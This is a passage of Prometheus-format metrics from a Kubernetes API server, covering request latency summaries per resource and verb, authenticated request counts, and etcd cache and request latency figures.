5.78011208e+08\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ watchlist\ } 2.19963769117e+11\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ watchlist\ } 507\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ podsecuritypolicies\ ,verb=\ get\ } 118464\r apiserver_request_latencies_summary_count{resource=\ podsecuritypolicies\ ,verb=\ get\ } 2\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ podsecuritypolicies\ ,verb=\ list\ } 266\r apiserver_request_latencies_summary_count{resource=\ podsecuritypolicies\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ podsecuritypolicies\ ,verb=\ patch\ } 133715\r apiserver_request_latencies_summary_count{resource=\ podsecuritypolicies\ ,verb=\ patch\ } 2\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.16096411e+08\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.30102237e+08\r apiserver_request_latencies_summary{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.30102237e+08\r apiserver_request_latencies_summary_sum{resource=\ podsecuritypolicies\ ,verb=\ watch\ } 6.9172585559e+10\r apiserver_request_latencies_summary_count{resource=\ podsecuritypolicies\ ,verb=\ watch\ } 151\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ replicasets\ ,verb=\ get\ } 1.616098e+06\r apiserver_request_latencies_summary_count{resource=\ replicasets\ ,verb=\ get\ } 135\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ list\ ,quantile=\ 0.5\ } 49174\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ list\ ,quantile=\ 0.9\ } 700515\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ list\ ,quantile=\ 0.99\ } 3.169516e+06\r apiserver_request_latencies_summary_sum{resource=\ replicasets\ ,verb=\ list\ } 9.29912859e+08\r apiserver_request_latencies_summary_count{resource=\ replicasets\ ,verb=\ list\ } 3052\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.13000378e+08\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.90015222e+08\r apiserver_request_latencies_summary{resource=\ replicasets\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.90015222e+08\r apiserver_request_latencies_summary_sum{resource=\ replicasets\ ,verb=\ watch\ } 6.9002435522e+10\r apiserver_request_latencies_summary_count{resource=\ replicasets\ ,verb=\ watch\ } 153\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ replicationcontrollers\ ,verb=\ list\ } 853253\r apiserver_request_latencies_summary_count{resource=\ replicationcontrollers\ ,verb=\ list\ } 3\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.02105428e+08\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.3400547e+08\r apiserver_request_latencies_summary{resource=\ replicationcontrollers\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.3400547e+08\r apiserver_request_latencies_summary_sum{resource=\ replicationcontrollers\ ,verb=\ watch\ } 6.8803924319e+10\r apiserver_request_latencies_summary_count{resource=\ replicationcontrollers\ ,verb=\ watch\ } 150\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ list\ ,quantile=\ 0.5\ } 1680\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ list\ ,quantile=\ 0.9\ } 1680\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ list\ ,quantile=\ 0.99\ } 1680\r apiserver_request_latencies_summary_sum{resource=\ resourcequotas\ ,verb=\ list\ } 69519\r apiserver_request_latencies_summary_count{resource=\ resourcequotas\ ,verb=\ list\ } 10\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.14007543e+08\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.01009368e+08\r apiserver_request_latencies_summary{resource=\ resourcequotas\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.01009368e+08\r apiserver_request_latencies_summary_sum{resource=\ resourcequotas\ ,verb=\ watch\ } 6.8889954315e+10\r apiserver_request_latencies_summary_count{resource=\ resourcequotas\ ,verb=\ watch\ } 153\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ rolebindings\ ,verb=\ get\ } 3078\r apiserver_request_latencies_summary_count{resource=\ rolebindings\ ,verb=\ get\ } 3\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ rolebindings\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ rolebindings\ ,verb=\ post\ } 16918\r apiserver_request_latencies_summary_count{resource=\ rolebindings\ ,verb=\ post\ } 3\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ roles\ ,verb=\ get\ } 10760\r apiserver_request_latencies_summary_count{resource=\ roles\ ,verb=\ get\ } 4\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ roles\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ roles\ ,verb=\ post\ } 25060\r apiserver_request_latencies_summary_count{resource=\ roles\ ,verb=\ post\ } 4\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ get\ ,quantile=\ 0.5\ } 228\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ get\ ,quantile=\ 0.9\ } 676\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ get\ ,quantile=\ 0.99\ } 88423\r apiserver_request_latencies_summary_sum{resource=\ secrets\ ,verb=\ get\ } 3.57061788e+08\r apiserver_request_latencies_summary_count{resource=\ secrets\ ,verb=\ get\ } 131617\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ secrets\ ,verb=\ list\ } 1531\r apiserver_request_latencies_summary_count{resource=\ secrets\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ secrets\ ,verb=\ patch\ } 13419\r apiserver_request_latencies_summary_count{resource=\ secrets\ ,verb=\ patch\ } 1\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ put\ ,quantile=\ 0.5\ } 2381\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ put\ ,quantile=\ 0.9\ } 40409\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ put\ ,quantile=\ 0.99\ } 116052\r apiserver_request_latencies_summary_sum{resource=\ secrets\ ,verb=\ put\ } 7.5898444e+07\r apiserver_request_latencies_summary_count{resource=\ secrets\ ,verb=\ put\ } 8309\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.55000207e+08\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.52000283e+08\r apiserver_request_latencies_summary{resource=\ secrets\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.52000283e+08\r apiserver_request_latencies_summary_sum{resource=\ secrets\ ,verb=\ watch\ } 6.9149720375e+10\r apiserver_request_latencies_summary_count{resource=\ secrets\ ,verb=\ watch\ } 151\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ get\ ,quantile=\ 0.5\ } 6451\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ get\ ,quantile=\ 0.9\ } 26912\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ get\ ,quantile=\ 0.99\ } 58865\r apiserver_request_latencies_summary_sum{resource=\ serviceaccounts\ ,verb=\ get\ } 2.592425e+06\r apiserver_request_latencies_summary_count{resource=\ serviceaccounts\ ,verb=\ get\ } 348\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ serviceaccounts\ ,verb=\ list\ } 333\r apiserver_request_latencies_summary_count{resource=\ serviceaccounts\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.65000319e+08\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.78000753e+08\r apiserver_request_latencies_summary{resource=\ serviceaccounts\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.78000753e+08\r apiserver_request_latencies_summary_sum{resource=\ serviceaccounts\ ,verb=\ watch\ } 6.8774857752e+10\r apiserver_request_latencies_summary_count{resource=\ serviceaccounts\ ,verb=\ watch\ } 154\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ connect\ ,quantile=\ 0.5\ } 31864\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ connect\ ,quantile=\ 0.9\ } 202213\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ connect\ ,quantile=\ 0.99\ } 423823\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ connect\ } 3.85858382e+08\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ connect\ } 6534\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ get\ ,quantile=\ 0.5\ } 1842\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ get\ ,quantile=\ 0.9\ } 34003\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ get\ ,quantile=\ 0.99\ } 174914\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ get\ } 2.4446125831e+10\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ get\ } 2.70826e+06\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ list\ ,quantile=\ 0.5\ } 2919\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ list\ ,quantile=\ 0.9\ } 35428\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ list\ ,quantile=\ 0.99\ } 93095\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ list\ } 3.3720752e+07\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ list\ } 3436\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ patch\ ,quantile=\ 0.5\ } 6660\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ patch\ ,quantile=\ 0.9\ } 13098\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ patch\ ,quantile=\ 0.99\ } 13098\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ patch\ } 66210\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ patch\ } 5\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ proxy\ } 3.057711e+06\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watch\ ,quantile=\ 0.5\ } 2.99260944e+08\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watch\ ,quantile=\ 0.9\ } 3.21000272e+08\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.6100129e+08\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ watch\ } 7.46005271353e+11\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ watch\ } 4138\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } 4.20001532e+08\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } 5.72023259e+08\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } 5.75000296e+08\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ watchlist\ } 2.14384246956e+11\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ watchlist\ } 395\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ services\ ,verb=\ proxy\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ services\ ,verb=\ proxy\ } 3.057303e+06\r apiserver_request_latencies_summary_count{resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ statefulsets\ ,verb=\ get\ } 76840\r apiserver_request_latencies_summary_count{resource=\ statefulsets\ ,verb=\ get\ } 18\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ list\ ,quantile=\ 0.5\ } 1874\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ list\ ,quantile=\ 0.9\ } 11993\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ list\ ,quantile=\ 0.99\ } 100288\r apiserver_request_latencies_summary_sum{resource=\ statefulsets\ ,verb=\ list\ } 3.6405017e+07\r apiserver_request_latencies_summary_count{resource=\ statefulsets\ ,verb=\ list\ } 3428\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ watch\ ,quantile=\ 0.5\ } 3.65000606e+08\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.24075773e+08\r apiserver_request_latencies_summary{resource=\ statefulsets\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.24075773e+08\r apiserver_request_latencies_summary_sum{resource=\ statefulsets\ ,verb=\ watch\ } 6.9107273702e+10\r apiserver_request_latencies_summary_count{resource=\ statefulsets\ ,verb=\ watch\ } 153\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ storageclasses\ ,verb=\ get\ } 69073\r apiserver_request_latencies_summary_count{resource=\ storageclasses\ ,verb=\ get\ } 1\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ storageclasses\ ,verb=\ list\ } 316\r apiserver_request_latencies_summary_count{resource=\ storageclasses\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ storageclasses\ ,verb=\ patch\ } 15753\r apiserver_request_latencies_summary_count{resource=\ storageclasses\ ,verb=\ patch\ } 1\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.25589578e+08\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.63000356e+08\r apiserver_request_latencies_summary{resource=\ storageclasses\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.63000356e+08\r apiserver_request_latencies_summary_sum{resource=\ storageclasses\ ,verb=\ watch\ } 6.8948799683e+10\r apiserver_request_latencies_summary_count{resource=\ storageclasses\ ,verb=\ watch\ } 149\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ thirdpartyresources\ ,verb=\ get\ } 34480\r apiserver_request_latencies_summary_count{resource=\ thirdpartyresources\ ,verb=\ get\ } 1\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ list\ ,quantile=\ 0.5\ } 2161\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ list\ ,quantile=\ 0.9\ } 91926\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ list\ ,quantile=\ 0.99\ } 274245\r apiserver_request_latencies_summary_sum{resource=\ thirdpartyresources\ ,verb=\ list\ } 1.59744481e+08\r apiserver_request_latencies_summary_count{resource=\ thirdpartyresources\ ,verb=\ list\ } 6888\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ thirdpartyresources\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ thirdpartyresources\ ,verb=\ patch\ } 130468\r apiserver_request_latencies_summary_count{resource=\ thirdpartyresources\ ,verb=\ patch\ } 1\r   help authenticated_user_requests counter of authenticated requests broken out by username.\r   type authenticated_user_requests counter\r authenticated_user_requests{username=\ kubelet\ } 203340\r authenticated_user_requests{username=\ other\ } 93227\r authenticated_user_requests{username=\ system:serviceaccount:kube-system:default\ } 2.915006e+06\r   help etcd_helper_cache_entry_count counter of etcd helper cache entries. this can be different from etcd_helper_cache_miss_count because two concurrent threads can miss the cache and generate the same entry twice.\r   type etcd_helper_cache_entry_count counter\r etcd_helper_cache_entry_count 179866\r   help etcd_helper_cache_hit_count counter of etcd helper cache hits.\r   type etcd_helper_cache_hit_count counter\r etcd_helper_cache_hit_count 5.645214e+06\r   help etcd_helper_cache_miss_count counter of etcd helper cache miss.\r   type etcd_helper_cache_miss_count counter\r etcd_helper_cache_miss_count 179866\r   help etcd_request_cache_add_latencies_summary latency in microseconds of adding an object to etcd cache\r   type etcd_request_cache_add_latencies_summary summary\r etcd_request_cache_add_latencies_summary{quantile=\ 0.5\ } 16\r etcd_request_cache_add_latencies_summary{quantile=\ 0.9\ } 37\r etcd_request_cache_add_latencies_summary{quantile=\ 0.99\ } 230\r etcd_request_cache_add_latencies_summary_sum 2.8603437e+07\r etcd_request_cache_add_latencies_summary_count 179866\r   help etcd_request_cache_get_latencies_summary latency in microseconds of getting an object from etcd cache\r   type etcd_request_cache_get_latencies_summary summary\r etcd_request_cache_get_latencies_summary{quantile=\ 0.5\ } 12\r etcd_request_cache_get_latencies_summary{quantile=\ 0.9\ } 20\r etcd_request_cache_get_latencies_summary{quantile=\ 0.99\ } 173\r etcd_request_cache_get_latencies_summary_sum 6.48834905e+08\r etcd_request_cache_get_latencies_summary_count 5.840501e+06\r   help etcd_request_latencies_summary etcd request latency summary in microseconds for each operation and object type.\r   type etcd_request_latencies_summary summary\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.endpoints\ ,quantile=\ 0.5\ } 3737\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.endpoints\ ,quantile=\ 0.9\ } 16793\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.endpoints\ ,quantile=\ 0.99\ } 93497\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  api.endpoints\ } 9.2942938e+07\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  api.endpoints\ } 6823\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.event\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.event\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.event\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  api.event\ } 4.249507e+06\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  api.event\ } 230\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.node\ ,quantile=\ 0.5\ } 8526\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.node\ ,quantile=\ 0.9\ } 101979\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.node\ ,quantile=\ 0.99\ } 300515\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  api.node\ } 9.5665247e+08\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  api.node\ } 34679\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.pod\ ,quantile=\ 0.5\ } 17458\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.pod\ ,quantile=\ 0.9\ } 17458\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.pod\ ,quantile=\ 0.99\ } 17458\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  api.pod\ } 5.2436431e+07\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  api.pod\ } 1856\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.secret\ ,quantile=\ 0.5\ } 6366\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.secret\ ,quantile=\ 0.9\ } 6366\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  api.secret\ ,quantile=\ 0.99\ } 6366\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  api.secret\ } 1.405841e+06\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  api.secret\ } 185\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.daemonset\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.daemonset\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.daemonset\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  extensions.daemonset\ } 183741\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  extensions.daemonset\ } 4\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.deployment\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.deployment\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.deployment\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  extensions.deployment\ } 180535\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  extensions.deployment\ } 13\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  extensions.thirdpartyresourcedata\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  extensions.thirdpartyresourcedata\ } 7639\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  extensions.thirdpartyresourcedata\ } 2\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrole\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  rbac.clusterrole\ } 435202\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  rbac.clusterrole\ } 9\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  rbac.clusterrolebinding\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  rbac.clusterrolebinding\ } 24286\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  rbac.clusterrolebinding\ } 6\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  storage.storageclass\ ,quantile=\ 0.5\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  storage.storageclass\ ,quantile=\ 0.9\ } nan\r etcd_request_latencies_summary{operation=\ compareandswap\ ,type=\  storage.storageclass\ ,quantile=\ 0.99\ } nan\r etcd_request_latencies_summary_sum{operation=\ compareandswap\ ,type=\  storage.storageclass\ } 4100\r etcd_request_latencies_summary_count{operation=\ compareandswap\ ,type=\  storage.storageclass\ } 1\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.event\ ,quantile=\ 0.5\ } 3210\r etcd_request_latencies_summary{operation=\ create\ ,type=\  api.event\ ,quantile=\ 0.9\ } 3698\r etcd_request_latencies_summary{operation=\ create\ 